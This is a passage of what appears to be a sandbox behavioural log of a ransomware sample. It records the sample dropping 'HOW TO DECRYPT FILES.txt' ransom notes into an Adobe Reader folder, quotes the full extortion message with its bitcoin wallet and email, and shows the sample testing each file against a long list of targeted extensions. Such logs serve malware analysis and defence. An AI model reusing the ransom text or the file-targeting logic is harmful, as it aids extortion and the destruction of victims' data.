10.0\\Reader\\Legal\\HRV\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="" [0069.825] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\HOW TO DECRYPT FILES.txt" [0069.825] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\how to decrypt files.txt")) returned 0xffffffff [0069.825] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.826] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.826] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.827] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.828] CloseHandle (hObject=0x94) returned 1 [0069.828] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" [0069.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.ems") returned 0 [0069.828] lstrlenA (lpString="*.ems") returned 5 [0069.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.db") returned 0 [0069.828] lstrlenA (lpString="*.db") returned 4 [0069.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.dbf") returned 0 [0069.828] lstrlenA (lpString="*.dbf") returned 5 [0069.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.myox") returned 0 [0069.828] lstrlenA (lpString="*.myox") returned 6 [0069.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.myo") returned 0 [0069.828] lstrlenA (lpString="*.myo") returned 5 [0069.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.qbw") returned 0 [0069.829] lstrlenA (lpString="*.qbw") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.qbb") returned 0 [0069.829] lstrlenA (lpString="*.qbb") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.qbm") returned 0 [0069.829] lstrlenA (lpString="*.qbm") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.qbo") returned 0 [0069.829] lstrlenA (lpString="*.qbo") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.qbx") returned 0 [0069.829] lstrlenA (lpString="*.qbx") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.qba") returned 0 [0069.829] lstrlenA (lpString="*.qba") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.qby") returned 0 [0069.829] lstrlenA (lpString="*.qby") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.qbj") returned 0 [0069.829] lstrlenA (lpString="*.qbj") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.ofx") returned 0 [0069.829] lstrlenA (lpString="*.ofx") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.qif") returned 0 [0069.829] lstrlenA (lpString="*.qif") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.mye") returned 0 [0069.829] lstrlenA (lpString="*.mye") returned 5 [0069.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.mbox") returned 0 [0069.830] lstrlenA (lpString="*.mbox") returned 6 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.eml") returned 0 [0069.830] lstrlenA (lpString="*.eml") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.pst") returned 0 [0069.830] lstrlenA (lpString="*.pst") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.ost") returned 0 [0069.830] lstrlenA (lpString="*.ost") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.idx") returned 0 [0069.830] lstrlenA (lpString="*.idx") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.dbx") returned 0 [0069.830] lstrlenA (lpString="*.dbx") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.sql") returned 0 [0069.830] lstrlenA (lpString="*.sql") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.mdb") returned 0 [0069.830] lstrlenA (lpString="*.mdb") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.fdb") returned 0 [0069.830] lstrlenA (lpString="*.fdb") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.wab") returned 0 [0069.830] lstrlenA (lpString="*.wab") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.dat") returned 0 [0069.830] lstrlenA (lpString="*.dat") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.txt") returned 0 [0069.830] lstrlenA (lpString="*.txt") returned 5 [0069.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.830] lstrlenA (lpString="*.jpeg") returned 6 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.jpg") returned 0 [0069.831] lstrlenA (lpString="*.jpg") returned 5 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.png") returned 0 [0069.831] lstrlenA (lpString="*.png") returned 5 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.php") returned 0 [0069.831] lstrlenA (lpString="*.php") returned 5 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.cs") returned 0 [0069.831] lstrlenA (lpString="*.cs") returned 4 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.cpp") returned 0 [0069.831] lstrlenA (lpString="*.cpp") returned 5 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.rar") returned 0 [0069.831] lstrlenA (lpString="*.rar") returned 5 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.zip") returned 0 [0069.831] lstrlenA (lpString="*.zip") returned 5 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.html") returned 0 [0069.831] lstrlenA (lpString="*.html") returned 6 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.htm") returned 0 [0069.831] lstrlenA (lpString="*.htm") returned 5 [0069.831] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.831] lstrlenA (lpString="*.xlsx") returned 6 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.xls") returned 0 [0069.832] lstrlenA (lpString="*.xls") returned 5 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.mp4") returned 0 [0069.832] lstrlenA (lpString="*.mp4") returned 5 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.ppt") returned 0 [0069.832] lstrlenA (lpString="*.ppt") returned 5 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.pptx") returned 0 [0069.832] lstrlenA (lpString="*.pptx") returned 6 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.doc") returned 0 [0069.832] lstrlenA (lpString="*.doc") returned 5 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.dot") returned 0 [0069.832] lstrlenA (lpString="*.dot") returned 5 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.docx") returned 0 [0069.832] lstrlenA (lpString="*.docx") returned 6 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.7z") returned 0 [0069.832] lstrlenA (lpString="*.7z") returned 4 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.tar") returned 0 [0069.832] lstrlenA (lpString="*.tar") returned 5 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.bz2") returned 0 [0069.832] lstrlenA (lpString="*.bz2") returned 5 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.gz") returned 0 [0069.832] lstrlenA (lpString="*.gz") returned 4 [0069.832] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.mkv") returned 0 [0069.832] lstrlenA (lpString="*.mkv") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.eml") returned 0 [0069.833] lstrlenA (lpString="*.eml") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.msg") returned 0 [0069.833] lstrlenA (lpString="*.msg") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.edb") returned 0 [0069.833] lstrlenA (lpString="*.edb") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.accdb") returned 0 [0069.833] lstrlenA (lpString="*.accdb") returned 7 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.odb") returned 0 [0069.833] lstrlenA (lpString="*.odb") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.java") returned 0 [0069.833] lstrlenA (lpString="*.java") returned 6 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.asm") returned 0 [0069.833] lstrlenA (lpString="*.asm") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.pfx") returned 0 [0069.833] lstrlenA (lpString="*.pfx") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.pem") returned 0 [0069.833] lstrlenA (lpString="*.pem") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.p12") returned 0 [0069.833] lstrlenA (lpString="*.p12") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.gpg") returned 0 [0069.833] lstrlenA (lpString="*.gpg") returned 5 [0069.833] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.vsd") returned 0 [0069.834] lstrlenA (lpString="*.vsd") returned 5 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.odg") returned 0 [0069.834] lstrlenA (lpString="*.odg") returned 5 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.raw") returned 0 [0069.834] lstrlenA (lpString="*.raw") returned 5 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.nef") returned 0 [0069.834] lstrlenA (lpString="*.nef") returned 5 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.svg") returned 0 [0069.834] lstrlenA (lpString="*.svg") returned 5 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.psd") returned 0 [0069.834] lstrlenA (lpString="*.psd") returned 5 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.vmx") returned 0 [0069.834] lstrlenA (lpString="*.vmx") returned 5 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.834] lstrlenA (lpString="*.vmdk") returned 6 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.vdi") returned 0 [0069.834] lstrlenA (lpString="*.vdi") returned 5 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.lay6") returned 0 [0069.834] lstrlenA (lpString="*.lay6") returned 6 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.834] lstrlenA (lpString="*.mpeg") returned 6 [0069.834] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.djvu") returned 0 [0069.835] lstrlenA (lpString="*.djvu") returned 6 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.tiff") returned 0 [0069.835] lstrlenA (lpString="*.tiff") returned 6 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.backup") returned 0 [0069.835] lstrlenA (lpString="*.backup") returned 8 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.pdf") returned 0 [0069.835] lstrlenA (lpString="*.pdf") returned 5 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.cert") returned 0 [0069.835] lstrlenA (lpString="*.cert") returned 6 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.docm") returned 0 [0069.835] lstrlenA (lpString="*.docm") returned 6 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.835] lstrlenA (lpString="*.xlsm") returned 6 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.dwg") returned 0 [0069.835] lstrlenA (lpString="*.dwg") returned 5 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.nd") returned 0 [0069.835] lstrlenA (lpString="*.nd") returned 4 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.tlg") returned 0 [0069.835] lstrlenA (lpString="*.tlg") returned 5 [0069.835] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.lgb") returned 0 [0069.836] lstrlenA (lpString="*.lgb") returned 5 [0069.836] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.mov") returned 0 [0069.836] lstrlenA (lpString="*.mov") returned 5 [0069.836] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.xdw") returned 0 [0069.836] lstrlenA (lpString="*.xdw") returned 5 [0069.836] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.ods") returned 0 [0069.836] lstrlenA (lpString="*.ods") returned 5 [0069.836] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.wav") returned 0 [0069.836] lstrlenA (lpString="*.wav") returned 5 [0069.836] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.mp3") returned 0 [0069.836] lstrlenA (lpString="*.mp3") returned 5 [0069.836] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.aiff") returned 0 [0069.836] lstrlenA (lpString="*.aiff") returned 6 [0069.836] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.flac") returned 0 [0069.836] lstrlenA (lpString="*.flac") returned 6 [0069.836] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.m4a") returned 0 [0069.836] lstrlenA (lpString="*.m4a") returned 5 [0069.836] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", pszSpec="*.csv") returned 0 [0069.836] lstrlenA (lpString="*.csv") returned 5 [0069.836] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc490, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.836] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.837] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.837] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.837] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.837] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini") returned="eula.ini" [0069.837] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" [0069.837] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="" [0069.837] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\HOW TO DECRYPT FILES.txt" [0069.837] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\how to decrypt files.txt")) returned 0x20 [0069.837] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" [0069.837] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.ems") returned 0 [0069.837] lstrlenA (lpString="*.ems") returned 5 [0069.837] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.db") returned 0 [0069.837] lstrlenA (lpString="*.db") returned 4 [0069.837] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.dbf") returned 0 [0069.837] lstrlenA (lpString="*.dbf") returned 5 [0069.838] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.myox") returned 0 [0069.838] lstrlenA (lpString="*.myox") returned 6 [0069.838] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.myo") returned 0 [0069.838] lstrlenA (lpString="*.myo") returned 5 [0069.838] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.qbw") returned 0 [0069.838] lstrlenA (lpString="*.qbw") returned 5 [0069.838] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.qbb") returned 0 [0069.838] lstrlenA (lpString="*.qbb") returned 5 [0069.838] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.qbm") returned 0 [0069.838] lstrlenA (lpString="*.qbm") returned 5 [0069.838] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.qbo") returned 0 [0069.839] lstrlenA (lpString="*.qbo") returned 5 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.qbx") returned 0 [0069.839] lstrlenA (lpString="*.qbx") returned 5 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.qba") returned 0 [0069.839] lstrlenA (lpString="*.qba") returned 5 [0069.839] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", pszSpec="*.qby") 